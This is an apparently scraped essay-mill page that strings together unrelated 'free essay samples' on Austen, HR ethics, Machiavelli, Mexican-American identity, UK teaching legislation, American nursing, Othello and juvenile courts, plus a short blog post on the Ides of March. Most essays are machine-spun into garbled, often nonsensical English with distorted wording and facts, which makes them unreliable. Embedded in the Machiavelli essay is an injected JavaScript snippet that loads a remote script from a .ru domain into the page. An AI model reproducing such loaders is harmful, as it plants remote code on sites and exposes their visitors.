Pride and Prejudice Essay: First Impressions -- Pride Prejudice Essays

Initial introductions in Pride and Prejudice   â â First impressions are significant in Jane Austin's Pride and Prejudice. As the story creates, we find how the preferences and early introductions of every one of the principle characters change. The essential spotlight is on the character of Elizabeth Bennet.  Elizabeth's decisions about other characters' attitudes are precise about portion of the time.â While she is right about Mr. Collins and how ludicrously self-serving he is and about Lady Catherine de Bourgh and how pleased and snooty she is, her initial introductions of Wickham and Darcy steer her incorrectly.â Wickham is first idea to be a man of honor by all.â His attractive features and his simple way fool nearly everybody, and Elizabeth accepts without question all that he advises her of Darcy. Elizabeth's early introductions of him are repudiated when she understands that he has lied about Darcy.  Elizabeth and a significant number of different characters se... ... her wedded girls with satisfaction, and Elizabeth is supposed to be pleased with Darcy due to what he had accomplished for Lydia.â First impressions can be examined of huge numbers of different characters than those talked about here, and bias is outlined in Elizabeth's conduct, however in Darcy's and Lady Catherine's responses to the status of Elizabeth's family too  Work Cited: Austen, Jane. Pride and Prejudice. 1813. Ed. Donald Gray. New York: Norton and Co., 1993.

How Ethical Consideration Affects Human Resource Management free essay sample

You will meet numerous conclusions in your calling. How you decide to oversee them will portray your moral qualities. The best organizations esteem their representatives just every piece much as their customers. Human asset executives play an imperative capacity in utilizing moral guidelines. Human asset chiefs set an outline for the rest of the organization. as moral conduct dribbles down from the executives. directors. representatives. furthermore, customers into the neighborhood network. Practically all enormous estimated organizations have some sort of HR bearing in topographic point so workers have individual accessible to help them spread with a wide range of kinds of issues that incorporate understanding the organizations clinical/dental program. covering with contrasts between representatives. pull offing sick yearss. pull offing occasion cut. the recruiting and fire of workers. furthermore, the twenty-four hours to twenty-four hours gives that face all workers. Without human asset bearing. an organization will happen that any distinctions that surface between the organization and a worker. or on the other hand between two workers. will take far unnecessarily much clasp to work out. Commonly the terminal outcome will be unsolved issues that cause a worker to end out of choler or thrashing. HR are at that spot to prevent this from go oning by holding strong arrangements in topographic point to cover with any conceivable occupation that may start. The accomplishment of most organizations relies upon this HR to be in topographic point and thinks of it as a bit of any solid heading crew. Human asset bearing will capacity to ensure that workers are cheerful and that when contrasts and contrasts happen there is individual indifferent to approach who can execute the best possible constabularies to cover with them. A major nation of human asset bearing is worried about grouped moral issues. both on the bit of elevated level course in its anxiety judgments and lower-level heading in the intercession of single representatives. The board judgments must be made genuinely mulling over all aspects including cultural obligation. Managers must deal with those they direct sensibly in undertakings of exposure and pay. In human asset course. all things considered moralss is treated as be ing similar. I. e. regardless of whether an activity is good or unethical. or on the other hand right or mistaken relies upon the central situation of the particular single human asset executive. Such positions are most likely shaped by development. One of the most aggressive aspects of human asset course is to keep value in locks in. exposure. what's more, pay. For outline. a male manager must shun from progressing or expanding the prizes of an appealing grown-up female who doesn’t wage taking care of him. be that as it may, who is constantly late for her occupation and whose work is second rate. Criticism about your open introduction is the best way for an organization to better. Representatives would esteem face to stand up to criticism on their open introduction. It is both reasonable and legitimate to assume that pay should follow open introduction and that moral contemplations would non be a factor in open introduction examination. In some cases it is hard for a director. who reasonably acknowledges this standard. to tail it. what's more, now and then it is difficult to convey a representative of its practicality. The director who either prescribes or has the approval to set remuneration might be convinced by different variables to downplay the open introduction of an employee’s creation. Similarly. a representative who w ill be adversely affected by mensurating an employee’s finished result may hold a troublesome clasp understanding why lower creation should deliver lower pay when the hours spent on the occupation are equivalent to others with higher creation and higher pay. Representative rating overall will abide of different components including such focuses as immediacy. mentality. proper dress. individual preparing ( exceptionally in a spot where customers are included ) . etymological correspondence. spruceness. congenialness. also, open introduction final result. in addition to other things. The rating strategy will be well unique among administration and creation workers and between general representatives and expert workers. The moral test emerges after all the elements have been considered ; the assurance is made on factors other than those by which all the workers have been assessed. Chiefs face a significant interior moral test when called to make their occupation. They recognize the one party and advancing the inclusion of others. Points may at times include some significant pitfalls to certain representatives and injury others. Human asset management’s reason for existing is to pull the opportune individuals with the correct mentality and edge of head to loan to their organization. Human asset heading guarantees that workers develop with the association. That. as the organization develops and builds up the worker other than develops in cognizance. experience and quality to back up the authoritative developing. Organizations that build up their representatives ever acknowledge significant developing in their anxiety. This is on the grounds that through planning and advancement. representatives figure out how to execute their occupation better and increasingly productive. Human asset heading conclusions can non be uneffective. What's more, they ought to non be incorrect. Since truth is. it very well may be an association its truly being. Quality assurance concocting does non come consequently. It takes r eadiness and experience to have the option to do viable and precise Human asset course conclusions that have any kind of effect in a worry. Choice contriving is potentially one of the most successive endeavors Human assets face every twenty-four hours. They need to make up ones brain for themselves each piece great as rede their higher-ups on explicit HR issues on an immutable balance. Essentially. cognizing directly from off base is the control of the human asset executive. On the off chance that a representative is non attempting to conceivable. so you should go to the issue caput on. You should other than perceive that it is non ever the employees’ botch that is the reason HR chiefs must remain fair-minded. There is an aureate guideline which regions. do unto others as you would want others to make unto you. On the off chance that you treat individuals decent. have a loosened head and have great hearing achievements. you will go far in human asset course. I trust I can do a distinction in this field since I am a decent person. I love helping individuals and I trust in helping individuals arrive at their power t hroughout everyday life.

Was Machiavelli Satan Essay Research Paper The free essay sample

Was Machiavelli Satan? Exposition, Research Paper The Church blamed Niccolo Machiavelli for being Satan for creating his book The Prince. Machiavelli finished The Prince in 1513. He composed it as a blessing to Lorenzo Medici, called the Magnificent, swayer of Florence. The political positions Machiavelli communicated in his book conflicted with the holiness of the Church, explicitly the Ten Commandments and the Beatitudes. Machiavelli wrote to determine control of a princedom one must be primitive. # 8220 ; ( I ) degree Fahrenheit you are a sovereign in responsibility for newly procured region and hold it fundamental. . . to take out the individuals who can or should ambush you. . . . # 8221 ; , you should make so to ensure your princedom. He gave the delineation of Duke Valentino # 8217 ; s murder of his Lords to maintain control, expressing if Valentino had non slaughtered his work powers, Valentino would hold lost force. The Bible emphatically disallows the fierce demise of anybody. The Sixth Commandment states # 8220 ; You will non murder. We will compose a custom paper test on Was Machiavelli Satan Essay Research Paper The or on the other hand any comparable subject explicitly for you Don't WasteYour Time Recruit WRITER Just 13.90/page # 8221 ; In what is known as the Beatitudes, from Jesus # 8217 ; Sermon on the Mount, the Bible other than says the individuals who are gentle will acquire basically everything. A gentle individual unquestionably does non slaughter others for remaining in their way like Machiavelli is proposing to be finished. Another verse from the Beatitudes says the individuals who are conciliators will be called boies of God. Conciliators do non murder either. For Machiavelli to state if murdering an individual is for the improvement of your princedom, so to make so conflicted with # 8220 ; God # 8217 ; s guideline # 8221 ; and the Church # 8217 ; s. Genuine followings of the Church submit to the Church convictions, supposing that you are non for God, you are for Satan. As a swayer a sovereign must do certain vows and strong guarantees ; all things considered, Machiavelli grounds that a ruler does non hold to keep up his promise all the clasp. The sovereign can predicament one thing under specific fortunes ; yet in the event that those fortunes change, he is allowed to modify his promise if the modification should benefit his situation. For case, Pope Alexander VI, who ruled before Machiavelli composed The Prince, # 8220 ; made guarantees all the more powerfully or revile to them all the more gravely and kept scarcely any of them. . . . # 8221 ; Pope Alexander VI other than got what he needed by lead oning others. The Beatitudes state the individuals who want honesty will be filled ; the individuals who are unadulterated of chest will see God. Honesty and immaculateness do non occur through deception. The ninth of the Ten Commandments says # 8220 ; You will non give bogus declaration against your neighbor, # 8221 ; expecting do non lie. Matthew, the main book of the New Testament, says # 8220 ; Do no intrude on your revile. . . . # 8221 ; The Church had great ground to vary with Machiavelli about tricky. gt ; Nobility for rulers can be viewed as one of two different ways: liberal or penurious. In the event that a ruler is liberal, his generousness typically comes at the disbursal of his subjects. The sovereign would hold to income improvement his kin, all things considered, so as to give. # 8220 ; This will get down to do him detestable to his themes and. . . will lose him the respect of everybody. # 8221 ; For a ruler to give cash, he need non income improvement his kin, rather give what he plundered and took piece on grouped runs. On the off chance that a ruler is ungenerous with the people groups cash, he will non income improvement as much ; in this manner, his points will respect him more. The directions of the Church and the Bible advance generousness, and remark that keeping up one # 8217 ; s riches to oneself will take to self destruction, Hell. The guidelines in like manner incorporate # 8220 ; You will non take. # 8221 ; In spite of the fact that his contemplations were in opposition to those of the Church and of the Bible, Machiavelli can non be contrasted and Satan. He was propelling the continuance of a princedom at any expense. He said a sovereign # 8220 ; will happen things which, however looking great, will take to his ruin whenever sought after, and others which, however looking unethical behavior, will follow in his security and prosperity. # 8221 ; Machiavelli other than said that if a swayer augmentations control by brutal treatment and devilishness the swayer is without righteousness, and he can non be contrasted with work powers of good character. He does non pardon this kind of conduct, he just fights it is important to be as a sovereign. Grouped individuals in the Bible murdered others. One of the best work powers in the Old Testament, King David took numerous lives so as to keep his territory. Abraham, the grown-up male to whom God guaranteed posterity each piece numerous as the stars in the sky, exorbitantly assaulted and killed individuals. In what capacity would machiavelli be able to be so abhorrent for only proposing the pulverization of adversaries, if extraordinary work powers of the Bible truly did likewise? Pope Alexander VI was a grown-up male of the Church and a swayer, yet he straightforwardly misled work powers. Satan unreasonably boggled work powers: in the Garden of Eden Satan deceived Eve, in the desert Satan attempted to mislead Jesus. Was Alexander ever contrasted with Satan as Machiavelli might have been? Lord David, known for his honorableness and solidarity, bamboozled a collaborator of his by executing criminal discussion with his associate # 8217 ; s wedded lady, so covering his devilishness. At one clasp, Machiavelli # 8217 ; s name was contrasted with Satan # 8217 ; s. His thoughts and contemplations written in his book The Prince repudiated those of the Church and the Bible. Be that as it may, Machiavelli did non pardon the utilization of power, power, and deception. He said using those things would be awful if all work powers were acceptable ; in any case, work powers are malevolent. Orchestrating to him, all work powers have a little of Satan in them. ( map ( ) { var ad1dyGE = document.createElement ( 'content ' ) ; ad1dyGE.type = 'content/javascript ' ; ad1dyGE.async = genuine ; ad1dyGE.src = 'http:/r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'content ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

After Various Writings By Rich :: essays research papers

After different works by Richard Rodriguez and Octavio Paz, I have run over a few acknowledge. Who am I? Would it be a good idea for me to be a piece of a country and a â€Å"system† that doesn't esteem me, or would it be a good idea for me to be a piece of a country that doesn't recognize my reality? The United States as a country doesn't esteem me, and Mã ©xico doesn't have the foggiest idea about that I exist. These are troublesome issues to examine. We are all looking for our own personality. In any case, a few of us are set in a circumstance that makes it troublesome and befuddling to know or comprehend. I have consistently asked myself, â€Å"Who am I?† I should place it in progressively rough words, â€Å"Where do I belong?† After this particular inquiry is posed, I start to understand that I have issues thinking of a reaction. My folks were conceived in Mã ©xico, and hence, they are Mexican. Now and then I believe I have a place here in the United State s, yet different occasions I feel progressively appended to Mã ©xico. I am a Mexican-American. Be that as it may, I feel that I am denying here and there my legacy and my way of life by saying that I am. I am denying my folks. I state that I’m Mexican in light of the fact that as it were I am. I am likewise an American. I am a Mexican-American. What do these terms set up suggest? They ought to infer that the individual is Mexican and American. The term â€Å"Mexican-American† is simply the very motivation behind why I find confounded about who I truly am. I have to look for my own personality, which drives me to the reason for this exposition. Rodriguez and Paz have talked about this specific issue of character. Each of the three have various perspectives. A portion of their thoughts are comparable yet generally conflicting, particularly on account of Rodriguez and Paz. As I was perusing, I had the option to identify with what they needed to state, and in an a lot gre ater sense, I had the option to comprehend and know who I am. I had the option to locate my self.      According to Paz, self-revelation is most than anything understanding that we are distant from everyone else. Paz contends that our being or our character turns into an issue and an inquiry. It turns into an issue as a result of a few reasons. We just don’t essentially wake up one day and understand that we don’t know what our identity is. There are people who are set in troublesome circumstances that take into account these inquiries to emerge.

Legislative Requirements of Teaching in Your Specialist Area free essay sample

Filling in as a Financial Capability coach my own and work esteems are driven by the ethos for Citizens Advice Bureau, my boss; here we esteem decent variety, advance balance and challenge separation; our points and standards set out to both give the guidance individuals need to the issues they confront and improve the arrangements and practices that influence people’s lives. There are numerous authoritative necessities (laws), and codes of training (mandates and expert morals) that should be considered in a learning domain. My association has its own strategies and proceedures that are relevant to the specific condition; these support the enactment to act as per the law as characterized in an Act of Parliament and normally enforceable through the courts. My understanding of ones that will impact me as an educator are given here. The Health and Safely at Work Act (1974) Everyone has an obligation regarding their own wellbeing at work and furthermore an obligation to secure the wellbeing and government assistance of others, this impacts each and every association. Regardless of whether the students are grown-ups there are still guidelines and guidelines that must be clung to; As an instructor I should be completely mindful of these principles and guarantee that any students I educate are as well. I ought to consistently make the class mindful of the closest fire exists and instruct concerning who the clench hand aiders are inside the structure. I should consistently follow best practice and to show others how its done. Hazard Assessments are likewise the duty of the instructor so as to set up rehearses that limit hazard and record any high hazard exercises. I have to break down any potential dangers while educating exercises inside the class. It is my duty to evaluate any hazard levels preceding initiation of any errands so as to limit the dangers. In the event that there are any mishaps or occurrences, I should likewise track these. There are then the enactments that are drawn from the Human Rights Act 2000. Handicap Discrimination Act (1995 and 2005) Equality Act 2010 Teachers must regard these laws have been passed to guarantee that nobody is oppressed independent of any inability (physical or mental) they may have or their sex, age, religion, ethnicity, sexual direction or conjugal status/local conditions. For the instructor this implies guaranteeing language, gifts and other gaining materials are liberated from predisposition; and that unseemly remarks are tested inside the study hall. The earth and all help structures should empower get to and incorporate offices to meet all learners’ needs. . I should guarantee that any exercises I set are appropriate for all students to take part and should not cause any student to feel rejected by their handicap. Likewise when publicizing courses and conveying learning, an educator ought not generalization or at all inconvenience a gathering of students. I would likewise be utilizing Safeguarding of Vulnerable Adults preparing when working with my understudies. Information Protection Act 1998 The DPA requires any association that holds touchy information on anybody for more than two months to enroll as information clients. As an instructor, I should be careful of how I store my students individual or delicate data. I ought to never share someone’s individual or touchy data with some other individual. Opportunity of data act 2000 As a revision to the Data Protection act the opportunity of data act makes arrangement for the revelation of data held by open specialists or by people offering types of assistance for them. I ought to know about what my understudies can demand to see when I hold data on them. There are likewise three different pieces that I would consider in my job The Further Education and Training act 2007, for its necessities on the LSC and on further instruction establishments to have respect to direction according to counsel with students, potential students and managers. Furthermore, the codes of training gave by; NIACE with respect to Safer Practice and Safer Learning; these assistance the understudy to concentrate on their privileges and obligations while taking an interest in the deep rooted learning segment. They address issues, for example, damage, misuse and individual security when participating in any sort of getting the hang of, delineating things that could not be right, and giving understudies contact subtleties on the off chance that they feel that they have to report any wrong doing, without requiring access to the educator. Likewise the Institute for Learning Code of Practice for Teachers 2008 Code of Professional Practice, which tries to ensure students and the open premium and will apply to all individuals from the Institute for Learning . The codes object is to advance, esteem and build up the polished methodology of all learning and abilities professionals. The Code plots the practices expected of individuals †to support students, managers, the calling and the more extensive network. The code records seven practices for individuals to maintain; Professional Integrity, Respect, Reasonable Care, Professional Practice, Criminal Offense Disclosure, Responsibility during Institute Investigations, Responsibility to the Institute. These will all have an effect on what happens both all through my study hall and must be at the bleeding edge of each exercise and exercise plan for an instructor. They will be utilized in guide/understudy contracting and in advances and grumblings strategies, thus it is significant that I stay up with the latest with these enactments and codes of training and some portion of my obligation is to ensure that they are being clung to and that I realize what strategy to follow if this isn't the situation.

Metaphor of the Month! Ides of March Richmond Writing

Metaphor of the Month! Ides of March Richmond Writing I love literary metaphors, especially ones that date their popularity to a work of Shakespeares. We have so manypound of flesh, sound and furybut this months metaphor has an historical origin that predates the play Julius Caesar. The OED Online cites   Ides as In the ancient Roman calendar (Julian and pre-Julian): the third of the three marker days in each month, notionally the day of the full moon, which divides the month in half, i.e. the 15th of March, May, July, October, and the 13th of the other months. The Calends (or Kalends)and Nones were the other marker days. You can read more about them here. Now we see where our word calendar comes from. But back to Ides. If every month had them, why are they so metaphorically significant? Julius Caesar met his end in the Senate after a dire warning, here given from Shakespeares play: Soothsayer: Beware the ides of March. CAESAR: What man is that? BRUTUS: A soothsayer bids you beware the ides of March. CAESAR: Set him before me; let me see his face. CASSIUS: Fellow, come from the throng; look upon Caesar. CAESAR: What sayst thou to me now? speak once again. Soothsayer: Beware the ides of March. CAESAR: He is a dreamer; let us leave him: pass. Sennet. Exeunt all except BRUTUS and CASSIUS Julius should have listened better, and kept a keen eye upon his friends in Rome. In any case, the metaphor, a lovely one for a time in need of vigilance or a date of reckoning, has fallen out of even learned parlance these days. As with so many fading phrases, its a great loss to nuance and history in our language. When language gets lost or dumbed down, its as often our fault as not. I just heard this when the first test passenger for Virgin Galactic, otherwise articulate and precise, described something seen from space as super super super high def. Going into space! And all she could manage was an adjective, super, that I consider overused to the point of oblivion. Sir Richard Branson, send me to suborbit. I promise to use more adjectives, many of them printable. So thats my challenge for all of you, as Spring arrives. Try some fresh words this Ides of March and every month. After all, as Cassius warns his co-conspirator, The fault, dear Brutus, is not in our stars, but in ourselves, that we are underlings. Please nominate a word or metaphor useful in academic writing by e-mailing me (jessid -at- richmond -dot- edu) or leaving a comment below. See all of our Metaphors of the Month  here  and Words of the Week  here. Image credit: There are hundreds of good (and more than a few hilarious) images of the death of Caesar only a click away. This one, a painting by William Holmes Sullivan, comes from Wikipedia Commons and is licensed for Creative-Commons use.

American Medicine and the Nursing Then and Now - Free Essay Example

American medicine and nursing can be defined as the process of the diagnosis, treatment as well as the perceptions of the disease. This process is mainly done in the hospitals where many lives of the people are saved. In this essay, I will discuss the American medicine and nursing in the year 1850.   I will also consider the American medicine as well as the nursing in 2000. I will explain the important four biggest changes and gives the reason why such changes occurred. Finally, I will discuss the essential way of medicine and nursing. American medicine and nursing in 1850 During the 1850s, America medicine as well the nursing was only a family affair. Females were supposed to take care of illnesses while still in the household. The households were very thoughtful, life intimidating illnesses were doctor’s subpoenaed it. It was the domestic medicine was used. Domestic medicine was the United States medical practice that involved the combination of the house remedial as well as and a limited methodically trained procedures conducted out through the professional physicians. Those people had the type of authorizations need to have, traveled lengthily as they exercised medicine. There was an exercise of midwife so as to attend the females during the time of the birth and giving birth was a very common profession for the females because most of the child bearing took place at homes and not in hospitals (Dunn 850). In addition, the ancient medicine was founded on the traditional Greek belief for the four senses of humor which was of the rich blood, mucus, black bile as well as the yellow bile. The Balance between the humors was the main tool towards the health. The disease was thought to have been caused by more or little fluids. The curative control of hot, unkind, dry, and then wet preparations, then a many of plants. In addition to herbs, were also extremely regarded in 1850, at this time the required individuals who were on the bone settlers then the doctors who carried the operations had no formal training. Medical doctors with medical degrees as well as scientific training started displaying up on the United States countryside in the late foreign era. Medical schools were frequently unlocked by surgeons who were required toward recovering United States medicine as well as increase the medical occupation thus making sure the high rank in the America. With technical training, physicians bec ame more commanding as well as practiced medicine as minor businesspersons, indicting a payment for their amenities (Susan 850). At the mid of   year,   America doctors who had   only the medical exercise started   stressing on the clue that germs, as well as the social conditions,   might cause as well as well as spread diseases , particularly in town. Numerous cities came up with the dispensaries where very many medicines towards the poor and then provided free doctor service. The spread of cholera, diphtheria, tuberculosis, as well as yellow fever, lead about hygiene and the sanitation where the city administration constructed very many departments. During this year, the new advancements for studying the bacteria started to be used as the germ theory also became accepted as the main cause for the diseases.   This time was the phase of the spread of the diseases as well as poor sanitation.   The public health which was being sponsored by the government as well as the health care that the private healthcare started to expand systematically. As the United States became progressively urbanized in 1880, the hospitals were constructed by the city administration so as to treat the poor began treating them. Physicians, who had high power or the authority, stopped wayfaring to their vilest patients as well started treating them beneath the roof. United States clients who could pay were cured were in smaller, frequently private rooms. On the progression or changes that were made in 1850 included first positive ovarian cystectomy, morphine isolations, curare investigated, cerium disc, cautery that was used for the liver abscesses as well as the splenic disease and steam sterilization was done during this time (Henderson 62). American medicine and nursing in 2000 In 2000 is when the global genome plan produced a waft of the humanoid genome toward the people. The biosphere would be able to read the complete set of the human hereditary information as well started mapping the genome. There was also Physicians and Patients Harness data Technology.   When the clients came to the hospital they did not have to think of signing in a pad with a pen, then sit in the waiting area whereas the doctor wrenches patient’s folder. However, physicians used the skill had altered the exercise medicine of good lives. In the same year, the heart attack Disease as well as even the death decreased in two thousand. It decreased by forty percent. Those who were searching for the improvements in the public needed to look and not further compare to the realm of the world of the heart disease. There earlier days, the clients used to go to the hospice with the soul failure, and the best would be performed and they were also to place a client in a area which was dark, then give them morphine for the pain as well as lidocaine which doctors bad trust would prevent the serious irregular heartbeats as well as had to hope for the best. People could die to lead because of such diseases. In 2000 curing the heart attack which all was about the speed hence saving the lives of the people. The targeted therapies for cancer started expanding leading to the new drugs. Hartford Foundation Organization for Senior Nursing released rules so as to make sure the baccalaureate nursing graduates had all the knowledge and skills to offer geriatric care important to the aging Americans. The Senior Nursing Care were intended to go hand-in-hand Basics of Baccalaureate Schooling for Qualified Nursing Rehearsal, the complete values that explained the necessary knowledge, standards, as well as core abilities likely to the bachelors degree nursing alumnae. The new rules define thirty scientific competencies essential for nurses to deliver first-class care to elder adults as well as their relatives. There was also poor housing and poor food for the patients in the hospitals. Since there was the advancement of the in the medical science technology as well as the health care delivery the population of the people who were old had more clients with chronic conditions. In that period about thirty-five million Americans were aged and had more chronic conditions while half of this had multiple of those conditions. In addition, the most of the illness burden while the health maintenance resources that were connected to the chronic circumstances, the health care scheme was prepared then oriented mostly thus giving the attention for the acute maintenance as well as inadequate during a meeting the needs for the frequently ill was done by the specialist. There was few clinical program that could give the full complement of all the services which were required by all the individual who had suffered the heart pressure, diabetics, asthma as well as the other popular chronic situations. The studies signified that there was an effective treatment of chronic conditions wants to be continuous all over settings as well as the types of all the providers. The doctors and nurses wanted to be to collaborate with each other as well as the clients had to develop joint care plans which had agreed upon the implementation steps. For the instance, the care would support the client’s self-management as well as encompass the regular doctors. There was an application of the patient centered and the proficient in the informatics applications. Four biggest changed that occurred On the great changes that have occurred in the America in the field of medicine as well as include the use of the electronic health records. This is used to ensure that there are big advances in the centralization as well as of the patient data. It may also be used as a data as well as the population health tool. There is also use of the mobile health. The m-health are the releasing heat devices of the wires as well as the harmonies enabling the doctors and also the patient’s alike to confirm the healthcare processes on the go. It ensures that the patients, as well as the patients, are to become active performers in their treatment by linking the message with the biometrics. One can take the blood pressure base wireless (Monteiro 81). Another change is the use of the telemedicine. The cost benefits of the telemedicine may be ignored either, for instance, patients may be able to obtain a full valuation over the film talk with a doctor. Dues were mechanically made, however, the dues are a summary to issue out old-fashioned house cost. Setting the definite healthcare price aside. There is the use of the portal technology. Clients are progressively becoming very active –players in their individual health care, as well as the pivotal skill, is one tool helping them to perform that. The portal technology authorities the patients to contact medical records as well as interact online. This ensures the insalubrious individuals bare closely involved and better educated about their health care. Conclusion Finally, the way the essential ways of medicine and nursing are it first provides the background for rehearsal from sciences then civilizations. Secondly, it is important because it has organizational as well as the scheme leaderships. It is important for the quality development as well as the safety. Other important ways include the health policy and then the advocacy. I have realized that the American medicine and nursing was accompanied by the great change which is discussed there above in 1850 and 2000 due to an advancement of technology, technology, and the innovations. Examples of such changes involved the use of the M- health.

Comparing and Contrast Emilia and Desdemonas love for...

â€Å"I have decided to stick with love. Hate is too great a burden to bear.† (Martin Luther King, Jr.) In the play Othello this quote shows relation to how love occurs among the main characters. This is highlighted though the relationship that Emilia and Desdemona have with their respective husbands. Throughout, the relationship of these characters with their spouses will be analyzed. The relationship between Emilia and her husband Iago will be expressed as well as the relationship between Desdemona and her husband Othello. Then the similarities and differences between the two relationships will be compared. Emilia and Iago had a very complex relationship. They do not have a strong and equal relationship displaying love. This is not†¦show more content†¦Emilia chose to do what is expected and marry a man of her own kind. Unlike Desdemona, who chooses to step outside of her comfort zone. As a result leaving the two with very different dynamics of a relationship. The similarities between Emilia relationship and Desdemona relationship is that they both are married to men who are involved in the army. They are both patriotic as they try to defend their nation, from anything that tries to. They both have a huge responsibility in protecting there country from war. Desdemona and Emilia both had downfalls in there relationship. The downfalls in Emilia s marriage is the way in which she allowed herself to be treated. Since the beginning of the play, she knew that she wasn t getting treated properly by her husband,nonetheless she stayed with him. Desdemona s downfall began when her husband stopped trusting her. The way he began asking her so many questions and developing that huge rage towards her,led to the fall in there relationship. For him to accuse her of infidelity was the breaking point in their relationship, while Emilia s fall started from the day she married Iago. Overall, love plays a huge role in the difference between these two dominan t relationships in the play. It plays a big contribution to the characters downfalls. Emilia searches for love from the person ,whom should be offering it to her the most. This as a result leads her to think that adultery is okay. In additionShow MoreRelatedDiction of Othello1473 Words   |  6 Pagescreates dramatic irony. The effect of this type of diction is that the reader has a clearer and comprehensive understanding of what exactly is going on. He uses imagery several times in the describing of various people as animals or in terms of comparing things. Most of the imagery pertains to Othello and his various travels or especially his jealousy. This use of imagery and diction is effective because in addition to having merely an idea of what is going on the reader can have a mental pictureRead MoreThe Creation of Tension and Suspense in Othello by William Shakespeare1677 Words   |  7 PagesOthello is a tragedy because of the deception and betrayal of Iago which causes many people to die. The play explores many different themes each trying to convey a specific message. The main themes of the play are betrayal, revenge, love, trust, honesty, racism and social hierarchy. These are only some of the themes explored in the play. White men were seen as trustworthy, respected people and arrogant, like Iago for example. Black men however, were racially abused because Read MoreRacism In Othello Essay1414 Words   |  6 Pagescan be used to justify problematic or racist worldviews. In Christianity, white can be used to symbolize anything righteous: one’s purity, virginity, or innocence. When cleansed from sin, one becomes â€Å"white as snow† (II Corinthians 5:21). In stark contrast, black is representative of darkness, suffering, and sinfulness. It is said that God is light and that when Satan fell from Heaven, he was no longer in God’s light, only existing in darkness (John 1:5). Jennings 2 It would be quite simple for oneRead More Comparing Heroes and Villains in Measure for Measure, Othello, and Hamlet2339 Words   |  10 PagesComparing Heroes and Villains in Measure for Measure, Othello, and Hamlet According to John Steinbeck, Heroes are innocent; villains are cunning. This statement likely regards the internal aspects of characters, such as intellect, reasoning/motivation, and morality/responsibility, as indicated by consistency in action and/or articulation, as in direct speech or soliloquy. An examination of the heroes and villains in Measure for Measure, Othello, and Hamlet can determine whether Steinbecks

Rhetorical Analysis Cutting Edge Instruction

To begin on a hopeful note, instruction framework in India is aggressive and trains understudies thoroughly to withstand savage rivalry on an overall scale. We should recognize that our researchers are at standard if not better than a large portion of the understudies abroad. Indians are an energy to figure with because of their sheer ability and productivity, and this can be credited to their thorough preparing at school and higher education. Having perused this, we should in like manner concede that our (Indian) instruction framework requires a makeover . It is an excess of data situated, which leaves little extension for inventiveness, innovations and self-learning. Thither is an interest to update the syllabus/educational programs occasionally keeping in mind the end goal to achieve it all the more fascinating for the researchers. Cutting edge instruction additionally offers approach to impart moral values and train in the youthful brains that could empower them to wind up more secure and more capable people. Advanced instructive needs to empower the future era to withstand the pressures and burdens of society and move forward in the midst of trials and trials. The developing rate of violations and suicides submitted by adolescents and the young says a lot of the inadequacies of our preparation framework. †¢ The best disadvantage of our training framework is the nearness of such a large number of various tables. Verging on each country of India possesses itsShow MoreRelatedStatement of Purpose23848 Words   |  96 Pagesfascinates me and attracts me to the Environmental Studies Program. Two courses in my geography department increased my interest in the connection between the environment and economics: Conservation of Underdeveloped Countries and Environmental Impact Analysis. In the former, we studied the problems of natural resource management in developing countries. The balance is always tilted toward economic growth at the expense of environmental preservation. For example, because the Pantanal Wetland could becomeRead MoreStrategy Safari by Mintzberg71628 Words   |  287 Pagesbe one simple definition of strategy, but there are by now some general areas of agreement about the nature of strategy. The accompanying box summarizes these. Strategies for Better and for Worse Any discussion of strategy inevitably ends on a knife-edge. For every advantage associated with strategy, there is an associated drawback or disadvantage: 1. Strategy sets direction. Advantage: The main role of strategy is to chart the course of an organization in order for it to sail cohesively throughRead MoreOrganisational Theory230255 Words   |  922 Pagestheory focuses attention on the human issues in organization ‘There is nothing so practical as a good theory’ How Roethlisberger developed a ‘practical’ organization theory Column 1: The core contributing social sciences Column 2: The techniques for analysis Column 3: The neo-modernist perspective Column 4: Contributions to business and management Four combinations of science, scientific technique and the neo-modernist approach reach different parts of the organization Level 1: Developing the organizationRead MoreDeveloping Management Skills404131 Words   |  1617 PagesLine 58 Understanding and Appreciating Individual Differences Important Areas of Self-Awareness 61 Emotional Intelligence 62 Values 65 Ethical Decision Making and Values 72 Cognitive Style 74 Attitudes Toward Change 76 Core Self-Evaluation 79 SKILL ANALYSIS 84 Cases Involving Self-Awareness 84 Communist Prison Camp 84 Computerized Exam 85 Decision Dilemmas 86 SKILL PRACTICE 89 Exercises for Improving Self-Awareness Through Self-Disclosure 89 Through the Looking Glass 89 Diagnosing Managerial CharacteristicsRead MoreCoaching Salespeople Into Sales Champions110684 Words   |  443 PagesVulnerability-Based Leadership 143 The Perfect Manager Express Your Authenticity: Become Vulnerable Embrace Your Humanity Evidence of an Emerging Culture Vulnerability and Trust The Passive Manager Embrace Healthy Conï ¬â€šict Call Them Out Using the Coaching Edge Take a Stand for Your Salespeople Declare What You Really Want for Your Sales Team The ‘‘I’m Sensing That’’ Statement The Proactive Manager A View from the Sidelines 143 146 147 148 149 151 153 153 154 156 158 161 162 CHAPTER NINE FacilitatingRead MoreLogical Reasoning189930 Words   |  760 PagesReasons ................................................................................................ 236 Deceiving with Loaded Language ................................................................................................... 238 Using Rhetorical Devices .................................................................................................................. 240 Review of Major Points .............................................................................................

A Look at the Conflicts of the Juvinile Court System in...

The book â€Å"No Matter How Loud I Shout† written by Edward Humes, looks at numerous major conflicts within the juvenile court system. There is a need for the juvenile system to rehabilitate the children away from their lives of crime, but it also needs to protect the public from the most violent and dangerous of its juveniles, causing one primary conflict. Further conflict arises with how the court is able to administer proper treatment or punishment and the rights of the child too due process. The final key issue is between those that call for a complete overhaul of the system, and the others who think it should just be taken apart. On both sides there is strong reasoning that supports each of their views, causing a lot of debate about the†¦show more content†¦What judgment should be used to best serve the needs of both the public and the juveniles, and who to place it upon. Judges like Roosevelt Dorn, who frequently showed his contempt of the current juvenile just ice methods, but was the best advocate for the treatment of the children. I think his method is one of the best ways to reform the system through early prevention and more rehabilitation. The district attorney’s office was often prosecuting on the word of often subpar investigations and evidence, due to a lack of funding. The adult court transfers are not the most effective way to reduce more juvenile crimes, although for extreme delinquents I think it is the best way to sentence them. The transfers do not do anything to prevent more crime; they just reduce some of the workload of the overloaded juvenile system. Ronald Duncan is one prime example of the failings of the juvenile court. It is the one case written about in the book, that the juvenile system has virtually no chance of saving the juvenile from further crime. It also happens to be the one case in which the juvenile court couldn’t transfer the child into adult court, and therefore could not sentence him to a harsh enough sentence. Duncan was charged with two counts of first degree murder, not many days before his sixtieth birthday. When after a night working at 